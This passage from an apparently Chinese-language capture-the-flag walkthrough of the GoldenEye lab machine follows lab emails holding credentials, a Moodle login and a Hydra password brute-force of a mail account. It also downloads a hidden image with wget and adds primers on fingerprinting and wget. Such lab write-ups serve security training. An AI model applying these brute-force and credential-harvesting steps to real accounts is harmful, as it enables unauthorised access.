\u7684\u6700\u7ec8\u8bbf\u95ee\u4ee3\u7801\u3002\u5c06\u5b83\u4eec\u653e\u5728\u6b64\u670d\u52a1\u5668\u6839\u76ee\u5f55\u4e2d\u7684\u9690\u85cf\u6587\u4ef6\u4e2d\uff0c\u7136\u540e\u4ece\u6b64\u7535\u5b50\u90ae\u4ef6\u4e2d\u5220\u9664\u3002\u8fd9\u4e9b\u8bbf\u95ee\u4ee3\u7801\u53ea\u80fd\u6709\u4e00\u7ec4\uff0c\u6211\u4eec\u9700\u8981\u786e\u4fdd\u5b83\u4eec\u5b89\u5168\u624d\u80fd\u6700\u7ec8\u6267\u884c\u3002\u5982\u679c\u5b83\u4eec\u88ab\u68c0\u7d22\u548c\u6355\u83b7\uff0c\u6211\u4eec\u7684\u8ba1\u5212\u5c06\u5d29\u6e83\uff01\n\u4e00\u65e6 Xenia \u83b7\u5f97\u8bad\u7ec3\u7ad9\u70b9\u7684\u8bbf\u95ee\u6743\u9650\u5e76\u719f\u6089 GoldenEye \u7ec8\u7aef\u4ee3\u7801\uff0c\u6211\u4eec\u5c31\u4f1a\u8fdb\u5165\u6700\u540e\u9636\u6bb5....\nPS - \u4fdd\u6301\u5b89\u5168\uff0c\u5426\u5219\u6211\u4eec\u5c06\u53d7\u5230\u5a01\u80c1\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u540c\u7406\u767b\u5165login: natalya password: bird<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230\u4e24\u5c01\u90ae\u4ef6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u5c01<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Return-Path: &lt;root@ubuntu>\nX-Original-To: natalya\nDelivered-To: natalya@ubuntu\nReceived: from ok (localhost &#91;127.0.0.1])\n        by ubuntu (Postfix) with ESMTP id D5EDA454B1\n        for &lt;natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)\nMessage-Id: &lt;20180425024542.D5EDA454B1@ubuntu>\nDate: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)\nFrom: root@ubuntu\nNatalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.\nAlso, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.\n\n\u5a1c\u5854\u8389\u4e9a\uff0c\u8bf7\u4f60\u4e0d\u8981\u518d\u7834\u89e3\u9c8d\u91cc\u65af\u7684\u5bc6\u7801\u4e86\u3002\u53e6\u5916\uff0c\u4f60\u662f GNO \u7684\u57f9\u8bad\u4e3b\u7ba1\u3002\u4e00\u65e6\u6709\u5b66\u751f\u88ab\u6307\u5b9a\u7ed9\u4f60\uff0c\u6211\u4f1a\u7ed9\u4f60\u53d1\u7535\u5b50\u90ae\u4ef6\u3002\n\u53e6\u5916\uff0c\u8981\u5c0f\u5fc3\u53ef\u80fd\u7684\u7f51\u7edc\u6f0f\u6d1e\u3002\u6211\u4eec\u5f97\u5230\u60c5\u62a5\uff0c\u4e00\u4e2a\u540d\u4e3a Janus \u7684\u72af\u7f6a\u96c6\u56e2\u6b63\u5728\u8ffd\u6355 GoldenEye\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e8c\u5c01<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Return-Path: &lt;root@ubuntu>\nX-Original-To: natalya\nDelivered-To: natalya@ubuntu\nReceived: from root (localhost &#91;127.0.0.1])\n        by ubuntu (Postfix) with SMTP id 17C96454B1\n        for &lt;natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)\nMessage-Id: &lt;20180425031956.17C96454B1@ubuntu>\nDate: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)\nFrom: root@ubuntu\nOk Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of \"security\"...it'll get the change order escalated without much hassle :)\nOk, user creds are:\nusername: xenia\npassword: RCP90rulez!\nBoris verified her as a valid contractor so just create the account ok?\nAnd if you didn't have the URL on outr internal Domain: severnaya-station.com\/gnocertdir\n**Make sure to edit your host file since you usually work remote off-network....\nSince you're a Linux user just point this servers IP to severnaya-station.com in \/etc\/hosts.\n\n\u597d\u7684\uff0cNatalyn\uff0c\u6211\u6709\u4e00\u4e2a\u65b0\u5b66\u751f\u8981\u6559\u4f60\u3002\u7531\u4e8e\u8fd9\u662f\u4e00\u4e2a\u65b0\u7cfb\u7edf\uff0c\u5982\u679c\u60a8\u53d1\u73b0\u4efb\u4f55\u914d\u7f6e\u95ee\u9898\uff0c\u8bf7\u544a\u8bc9\u6211\u6216 boris\uff0c\u5c24\u5176\u662f\u4e0e\u5b89\u5168\u76f8\u5173\u7684\u95ee\u9898...\u5373\u4f7f\u4e0d\u662f\uff0c\u53ea\u9700\u4ee5\u201c\u5b89\u5168\u201d\u7684\u540d\u4e49\u8f93\u5165...\u5b83\u5c31\u4f1a\u6beb\u4e0d\u8d39\u529b\u5730\u5347\u7ea7\u53d8\u66f4\u5355 :)\n\u597d\u7684\uff0c\u7528\u6237\u51ed\u636e\u662f\uff1a\n\u7528\u6237\u540d\uff1axenia\n\u5bc6\u7801\uff1aRCP90rulez\uff01\nBoris \u5df2\u9a8c\u8bc1\u5979\u662f\u4e00\u540d\u6709\u6548\u7684\u627f\u5305\u5546\uff0c\u56e0\u6b64\u53ea\u9700\u521b\u5efa\u5e10\u6237\u5373\u53ef\uff1f\n\u5982\u679c\u60a8\u6ca1\u6709\u5185\u90e8\u57df\u4e0a\u7684 URL\uff1asevernaya-station.com\/gnocertdir\n**\u8bf7\u786e\u4fdd\u7f16\u8f91\u60a8\u7684\u4e3b\u673a\u6587\u4ef6\uff0c\u56e0\u4e3a\u60a8\u901a\u5e38\u5728\u7f51\u7edc\u5916\u8fdc\u7a0b\u5de5\u4f5c....\n\u7531\u4e8e\u60a8\u662f Linux \u7528\u6237\uff0c\u53ea\u9700\u5c06\u6b64\u670d\u52a1\u5668 IP \u6307\u5411 \/etc\/hosts \u4e2d\u7684 severnaya-station.com\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u7b2c\u4e8c\u5c01\u90ae\u4ef6\u770b\u5230\u4e86\u53e6\u5916\u4e00\u4e2a\u7528\u6237\u540d\u5bc6\u7801\uff0c\u6b64\u670d\u52a1\u5668\u57df\u540d\u548c\u7f51\u7ad9\uff0c\u8fd8\u8981\u6c42\u6211\u4eec\u5728\u672c\u5730\u670d\u52a1hosts\u4e2d\u6dfb\u52a0\u57df\u540d\u4fe1\u606f<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f97\u5230\u7684\u91cd\u8981\u4fe1\u606f\uff08moodle\u8d26\u53f7\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6237\u540d\uff1axenia<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u7801\uff1aRCP90rulez!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u57df\u540d\uff1asevernaya-station.com<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7f51\u5740\uff1asevernaya-station.com\/gnocertdir<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u73b0\u6839\u636e\u90ae\u4ef6\u63d0\u793a\u6dfb\u52a0\u672c\u5730\u57df\u540d\uff1asevernaya-station.com<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u8bbe\u7f6e\u672c\u5730HOSTS\u6587\u4ef6<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">gedit \/etc\/hosts<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">192.168.11.131 severnaya-station.com<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95eesevernaya-station.com\/gnocertdir\u5730\u5740<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u521a\u767b\u9646\u754c\u9762\u6211\u5c31\u770b\u5230\u4e86moodle\uff0c\u8fd9\u662f\u4e00\u4e2a\u5f00\u6e90\u7684CMS\u7cfb\u7edf\uff0c\u7ee7\u7eed\u70b9\u4e00\u70b9\uff0c\u53d1\u73b0\u8981\u767b\u9646\uff0c\u4f7f\u7528\u90ae\u4ef6\u83b7\u5f97\u7684\u7528\u6237\u5bc6\u7801\u8fdb\u884c\u767b\u9646\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1274\" height=\"748\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d205413a-faf3-49b7-9ec4-d83ce16d3f5e.png\" alt=\"\" class=\"wp-image-52\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d205413a-faf3-49b7-9ec4-d83ce16d3f5e.png 1274w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d205413a-faf3-49b7-9ec4-d83ce16d3f5e-300x176.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d205413a-faf3-49b7-9ec4-d83ce16d3f5e-1024x601.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d205413a-faf3-49b7-9ec4-d83ce16d3f5e-768x451.png 768w\" sizes=\"auto, (max-width: 1274px) 100vw, 1274px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"550\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d492d21c-6ba8-49c1-8cc9-2dd4871dcb00.png\" alt=\"\" class=\"wp-image-51\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d492d21c-6ba8-49c1-8cc9-2dd4871dcb00.png 1280w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d492d21c-6ba8-49c1-8cc9-2dd4871dcb00-300x129.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d492d21c-6ba8-49c1-8cc9-2dd4871dcb00-1024x440.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-d492d21c-6ba8-49c1-8cc9-2dd4871dcb00-768x330.png 768w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08\u5f00\u6e90\u7684CMS\u7cfb\u7edf\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u6e90\u7684\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\uff08CMS\uff09\u662f\u6307\u90a3\u4e9b\u6e90\u4ee3\u7801\u5f00\u653e\u3001\u7528\u6237\u53ef\u4ee5\u81ea\u7531\u4f7f\u7528\u3001\u4fee\u6539\u548c\u5206\u53d1\u7684\u5185\u5bb9\u7ba1\u7406\u5e73\u53f0\u3002\u8fd9\u4e9b\u7cfb\u7edf\u5141\u8bb8\u7528\u6237\u521b\u5efa\u3001\u7ba1\u7406\u548c\u4fee\u6539\u6570\u5b57\u5185\u5bb9\uff0c\u5e76\u4e14\u901a\u5e38\u5177\u6709\u5e7f\u6cdb\u7684\u793e\u533a\u652f\u6301\u548c\u4e30\u5bcc\u7684\u6269\u5c55\u529f\u80fd\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u5982\uff1a WordPress<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08\u6307\u7eb9\u641c\u7d22\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6307\u7eb9\u641c\u7d22\u662f\u4e00\u79cd\u7f51\u7edc\u5b89\u5168\u6280\u672f\uff0c\u4e3b\u8981\u7528\u4e8e\u8bc6\u522b\u548c\u5b9a\u4f4d\u7279\u5b9a\u7684\u8ba1\u7b97\u673a\u7cfb\u7edf\u3001\u8bbe\u5907\u6216\u5e94\u7528\u7a0b\u5e8f\u3002\u5b83\u57fa\u4e8e\u8bbe\u5907\u6216\u5e94\u7528\u66b4\u9732\u7684\u7279\u5f81\uff08\u79f0\u4e3a\u201c\u6307\u7eb9\u201d\uff09\u8fdb\u884c\u641c\u7d22\u548c\u8bc6\u522b\u3002\u4ee5\u4e0b\u662f\u5173\u4e8e\u6307\u7eb9\u641c\u7d22\u7684\u8be6\u7ec6\u4ecb\u7ecd\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6307\u7eb9\u641c\u7d22\u7684\u57fa\u672c\u6982\u5ff5<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6307\u7eb9\u641c\u7d22\u6d89\u53ca\u6536\u96c6\u548c\u5206\u6790\u8bbe\u5907\u6216\u5e94\u7528\u66b4\u9732\u7684\u5404\u79cd\u4fe1\u606f\uff0c\u8fd9\u4e9b\u4fe1\u606f\u53ef\u4ee5\u552f\u4e00\u5730\u6807\u8bc6\u7279\u5b9a\u7684\u8bbe\u5907\u6216\u7cfb\u7edf\u3002\u6307\u7eb9\u53ef\u4ee5\u6765\u81ea\u4ee5\u4e0b\u51e0\u4e2a\u65b9\u9762\uff1a<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u64cd\u4f5c\u7cfb\u7edf<\/strong><strong>\u548c\u8f6f\u4ef6\u7248\u672c<\/strong>\uff1a\u5305\u62ec\u7279\u5b9a\u7248\u672c\u7684\u64cd\u4f5c\u7cfb\u7edf\u3001Web\u670d\u52a1\u5668\u3001\u6570\u636e\u5e93\u548c\u5176\u4ed6\u5e94\u7528\u7a0b\u5e8f\u3002<\/li>\n\n\n\n<li><strong>\u7f51\u7edc\u670d\u52a1\u548c\u534f\u8bae<\/strong>\uff1a\u5982HTTP\u3001FTP\u3001SSH\u7b49\u670d\u52a1\u7684\u54cd\u5e94\u884c\u4e3a\u548c\u7279\u6027\u3002<\/li>\n\n\n\n<li><strong>HTTP\u5934\u4fe1\u606f<\/strong>\uff1a\u5982\u670d\u52a1\u5668\u3001X-Powered-By\u7b49\u5934\u4fe1\u606f\u3002<\/li>\n\n\n\n<li><strong>\u5f00\u653e<\/strong><strong>\u7aef\u53e3<\/strong>\uff1a\u8bbe\u5907\u6216\u7cfb\u7edf\u5bf9\u5916\u5f00\u653e\u7684\u7f51\u7edc\u7aef\u53e3\u3002<\/li>\n\n\n\n<li><strong>SSL<\/strong><strong>\/<\/strong><strong>TLS<\/strong><strong>\u7279\u6027<\/strong>\uff1a\u5305\u62ec\u8bc1\u4e66\u3001\u534f\u8bae\u7248\u672c\u3001\u52a0\u5bc6\u5957\u4ef6\u7b49\u3002<\/li>\n\n\n\n<li><strong>\u5e94\u7528\u7a0b\u5e8f\u7279\u5f81<\/strong>\uff1a\u7279\u5b9a\u7684\u5e94\u7528\u7a0b\u5e8f\u6216\u670d\u52a1\u7684\u54cd\u5e94\u6a21\u5f0f\u548c\u6807\u8bc6\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u6307\u7eb9\u641c\u7d22\u662f\u4e00\u79cd\u7f51\u7edc\u5b89\u5168\u6280\u672f\uff0c\u4e3b\u8981\u7528\u4e8e\u8bc6\u522b\u548c\u5b9a\u4f4d\u7279\u5b9a\u7684\u8ba1\u7b97\u673a\u7cfb\u7edf\u3001\u8bbe\u5907\u6216\u5e94\u7528\u7a0b\u5e8f\u3002\u5b83\u57fa\u4e8e\u8bbe\u5907\u6216\u5e94\u7528\u66b4\u9732\u7684\u7279\u5f81\uff08\u79f0\u4e3a\u201c\u6307\u7eb9\u201d\uff09\u8fdb\u884c\u641c\u7d22\u548c\u8bc6\u522b\u3002\u4ee5\u4e0b\u662f\u5173\u4e8e\u6307\u7eb9\u641c\u7d22\u7684\u8be6\u7ec6\u4ecb\u7ecd\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6307\u7eb9\u641c\u7d22\u7684\u5de5\u4f5c\u539f\u7406<\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u6570\u636e\u6536\u96c6<\/strong>\uff1a\u5de5\u5177\u901a\u8fc7\u7f51\u7edc\u626b\u63cf\u6216\u4e3b\u52a8\u8bf7\u6c42\u6536\u96c6\u8bbe\u5907\u6216\u670d\u52a1\u7684\u54cd\u5e94\u6570\u636e\u3002<\/li>\n\n\n\n<li><strong>\u7279\u5f81\u5206\u6790<\/strong>\uff1a\u5bf9\u6536\u96c6\u5230\u7684\u6570\u636e\u8fdb\u884c\u5206\u6790\uff0c\u63d0\u53d6\u51fa\u7279\u5b9a\u7684\u7279\u5f81\u4fe1\u606f\uff0c\u5982HTTP\u5934\u4fe1\u606f\u3001\u54cd\u5e94\u65f6\u95f4\u3001\u534f\u8bae\u884c\u4e3a\u7b49\u3002<\/li>\n\n\n\n<li><strong>\u5339\u914d\u8bc6\u522b<\/strong>\uff1a\u5c06\u63d0\u53d6\u7684\u7279\u5f81\u4e0e\u5df2\u77e5\u7684\u6307\u7eb9\u5e93\u8fdb\u884c\u5339\u914d\uff0c\u786e\u5b9a\u8bbe\u5907\u6216\u670d\u52a1\u7684\u5177\u4f53\u7c7b\u578b\u548c\u7248\u672c\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\uff0c\u7528\u6237\u540d\uff1axenia\u5bc6\u7801\uff1aRCP90rulez!\u767b\u5165\u7cfb\u7edf<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Home \/ -&gt;My profile \/ -&gt;Messages ---&gt;\u53d1\u73b0\u6709\u4e00\u5c01\u90ae\u4ef6\uff0c\u5185\u5bb9\u53d1\u73b0\u7528\u6237\u540ddoak\uff0c\u7ee7\u7eed\u7206\u7834\u7528\u6237\u540ddoak\u7684\u90ae\u4ef6\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Hydra\u7206\u7834<\/h1>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"629\" height=\"365\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-78b3a8de-b963-4538-bc9d-417968300597.png\" alt=\"\" class=\"wp-image-50\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-78b3a8de-b963-4538-bc9d-417968300597.png 629w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-78b3a8de-b963-4538-bc9d-417968300597-300x174.png 300w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f97\u5230\u7684\u91cd\u8981\u4fe1\u606f\uff08\u90ae\u7bb1\u8d26\u53f7\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">login: doak password: goat<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u91cd\u70b9\u8bf4\u660e\uff08\u7531\u4e8e\u786c\u76d8\u6570\u636e\u4e22\u5931\uff0c\u4ee5\u4e0b\u7684\u76ee\u6807ip\u5730\u5740\u5c06\u6539\u4e3a192.168.11.139\uff09<\/h1>\n\n\n\n<pre class=\"wp-block-code\"><code>Return-Path: &lt;doak@ubuntu&gt;\nX-Original-To: doak\nDelivered-To: doak@ubuntu\nReceived: from doak (localhost &#91;127.0.0.1])\n        by ubuntu (Postfix) with SMTP id 97DC24549D\n        for &lt;doak&gt;; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)\nMessage-Id: &lt;20180425034731.97DC24549D@ubuntu&gt;\nDate: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)\nFrom: doak@ubuntu\n\nJames,\nIf you're reading this, congrats you've gotten this far. You know how tradecraft works right?\n\nBecause I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......\n\nusername: dr_doak\npassword: 4England!<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u91cd\u8981\u4fe1\u606f\uff08\u65b0\u7684CMS\u8d26\u53f7\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6237\u540d\uff1adr_doak<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u7801\uff1a4England!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u518d\u6b21\u767b\u5165<\/strong><strong>CMS<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u767b\u5f55\u540e\u5728\uff1aHome \/--&gt; My profile \u53d1\u73b0\uff1a s3cret.txt\uff08\u5982\u679c\u6ca1\u6709\u53d1\u73b0\uff0c\u5c31\u628a\u80fd\u70b9\u7684\u90fd\u70b9\u4e86\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1246\" height=\"387\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-b6abed0b-9e71-4bfe-aef1-8e7d80efd902.png\" alt=\"\" class=\"wp-image-49\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-b6abed0b-9e71-4bfe-aef1-8e7d80efd902.png 1246w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-b6abed0b-9e71-4bfe-aef1-8e7d80efd902-300x93.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-b6abed0b-9e71-4bfe-aef1-8e7d80efd902-1024x318.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-b6abed0b-9e71-4bfe-aef1-8e7d80efd902-768x239.png 768w\" sizes=\"auto, (max-width: 1246px) 100vw, 1246px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770bs3cret.txt\u7684\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>007,\n\nI was able to capture this apps adm1n cr3ds through clear txt. \n\nText throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. \n\nSomething juicy is located here: \/dir007key\/for-007.jpg\n\nAlso as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Something juicy is located here: \/dir007key\/for-007.jpg<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u73b0\u5728\u6211\u4eec\u67e5\u770b\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u6307\u51fa\u7ba1\u7406\u5458\u51ed\u636e\u5df2\u9690\u85cf\u5728\u6620\u50cf\u6587\u4ef6\u4e2d\uff0c\u8ba9\u6211\u4eec\u5728\u6d4f\u89c8\u5668\u4e2d\u6253\u5f00\u56fe\u50cf\u4ee5\u67e5\u770b\u5176\u5185\u5bb9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d\u5230\u672c\u5730\uff1awget http:\/\/severnaya-station.com\/dir007key\/for-007.jpg<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08wget\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">wget\u662f\u4e00\u4e2a\u4e0b\u8f7d\u6587\u4ef6\u7684\u5de5\u5177\uff0c\u5b83\u7528\u5728\u547d\u4ee4\u884c\u4e0b\u3002\u5bf9\u4e8eLinux\u7528\u6237\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u5de5\u5177\uff0c\u5c24\u5176\u5bf9\u4e8e\u7f51\u7edc\u7ba1\u7406\u5458\uff0c\u7ecf\u5e38\u8981\u4e0b\u8f7d\u4e00\u4e9b\u8f6f\u4ef6\u6216\u4ece\u8fdc\u7a0b\u670d\u52a1\u5668\u6062\u590d\u5907\u4efd\u5230\u672c\u5730\u670d\u52a1\u5668\u3002\u5982\u679c\u6211\u4eec\u4f7f\u7528\u865a\u62df\u4e3b\u673a\uff0c\u5904\u7406\u8fd9\u6837\u7684\u4e8b\u52a1\u6211\u4eec\u53ea\u80fd\u5148\u4ece\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0b\u8f7d\u5230\u6211\u4eec\u7535\u8111\u78c1\u76d8\uff0c\u7136\u540e\u518d\u7528ftp\u5de5\u5177\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u3002\u8fd9\u6837\u65e2\u6d6a\u8d39\u65f6\u95f4\u53c8\u6d6a\u8d39\u7cbe\u529b\uff0c\u90a3\u4e0d\u6ca1\u529e\u6cd5\u7684\u4e8b\u3002\u800c\u5230\u4e86Linux VPS\uff0c\u5b83\u5219\u53ef\u4ee5\u76f4\u63a5\u4e0b\u8f7d\u5230\u670d\u52a1\u5668\u800c\u4e0d\u7528\u7ecf\u8fc7\u4e0a\u4f20\u8fd9\u4e00\u6b65\u3002wget\u5de5\u5177\u4f53\u79ef\u5c0f\u4f46\u529f\u80fd\u5b8c\u5584\uff0c\u5b83\u652f\u6301\u65ad\u70b9\u4e0b\u8f7d\u529f\u80fd\uff0c\u540c\u65f6\u652f\u6301FTP\u548cHTTP\u4e0b\u8f7d\u65b9\u5f0f\uff0c\u652f\u6301\u4ee3\u7406\u670d\u52a1\u5668\u548c\u8bbe\u7f6e\u8d77\u6765\u65b9\u4fbf\u7b80\u5355\u3002\u4e0b\u9762\u6211\u4eec\u4ee5\u5b9e\u4f8b\u7684\u5f62\u5f0f\u8bf4\u660e\u600e\u4e48\u4f7f\u7528wget\u3002<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\u4e0b\u8f7d\u6574\u4e2ahttp\u6216\u8005ftp\u7ad9\u70b9\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">wget http:\/\/place.your.url\/here<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u547d\u4ee4\u53ef\u4ee5\u5c06http:\/\/place.your.url\/here \u9996\u9875\u4e0b\u8f7d\u4e0b\u6765\u3002\u4f7f\u7528-x\u4f1a\u5f3a\u5236\u5efa\u7acb\u670d\u52a1\u5668\u4e0a\u4e00\u6a21\u4e00\u6837\u7684\u76ee\u5f55\uff0c\u5982\u679c\u4f7f\u7528-nd\u53c2\u6570\uff0c\u90a3\u4e48\u670d\u52a1\u5668\u4e0a\u4e0b\u8f7d\u7684\u6240\u6709\u5185\u5bb9\u90fd\u4f1a\u52a0\u5230\u672c\u5730\u5f53\u524d\u76ee\u5f55\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">wget -r http:\/\/place.your.url\/here<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9 \u4e2a\u547d\u4ee4\u4f1a\u6309\u7167\u9012\u5f52\u7684\u65b9\u6cd5\uff0c\u4e0b\u8f7d\u670d\u52a1\u5668\u4e0a\u6240\u6709\u7684\u76ee\u5f55\u548c\u6587\u4ef6\uff0c\u5b9e\u8d28\u5c31\u662f\u4e0b\u8f7d\u6574\u4e2a\u7f51\u7ad9\u3002\u8fd9\u4e2a\u547d\u4ee4\u4e00\u5b9a\u8981\u5c0f\u5fc3\u4f7f\u7528\uff0c\u56e0\u4e3a\u5728\u4e0b\u8f7d\u7684\u65f6\u5019\uff0c\u88ab\u4e0b\u8f7d\u7f51\u7ad9\u6307\u5411\u7684\u6240\u6709\u5730\u5740\u540c \u6837\u4f1a\u88ab\u4e0b\u8f7d\uff0c\u56e0\u6b64\uff0c\u5982\u679c\u8fd9\u4e2a\u7f51\u7ad9\u5f15\u7528\u4e86\u5176\u4ed6\u7f51\u7ad9\uff0c\u90a3\u4e48\u88ab\u5f15\u7528\u7684\u7f51\u7ad9\u4e5f\u4f1a\u88ab\u4e0b\u8f7d\u4e0b\u6765\uff01\u57fa\u4e8e\u8fd9\u4e2a\u539f\u56e0\uff0c\u8fd9\u4e2a\u53c2\u6570\u4e0d\u5e38\u7528\u3002\u53ef\u4ee5\u7528-l number\u53c2\u6570\u6765\u6307\u5b9a\u4e0b\u8f7d\u7684\u5c42\u6b21\u3002\u4f8b\u5982\u53ea\u4e0b\u8f7d\u4e24\u5c42\uff0c\u90a3\u4e48\u4f7f\u7528-l 2\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8981\u662f\u60a8\u60f3\u5236\u4f5c\u955c\u50cf\u7ad9\u70b9\uff0c\u90a3\u4e48\u53ef\u4ee5\u4f7f\u7528\uff0dm\u53c2\u6570\uff0c\u4f8b\u5982\uff1awget -m http:\/\/place.your.url\/here<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u65f6wget\u4f1a\u81ea\u52a8\u5224\u65ad\u5408\u9002\u7684\u53c2\u6570\u6765\u5236\u4f5c\u955c\u50cf\u7ad9\u70b9\u3002\u6b64\u65f6\uff0cwget\u4f1a\u767b\u5f55\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u8bfb\u5165robots.txt\u5e76\u6309robots.txt\u7684\u89c4\u5b9a\u6765\u6267\u884c\u3002<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li>\u65ad\u70b9\u7eed\u4f20\u3002<\/li>\n<\/ol>\n\n\n\n<p 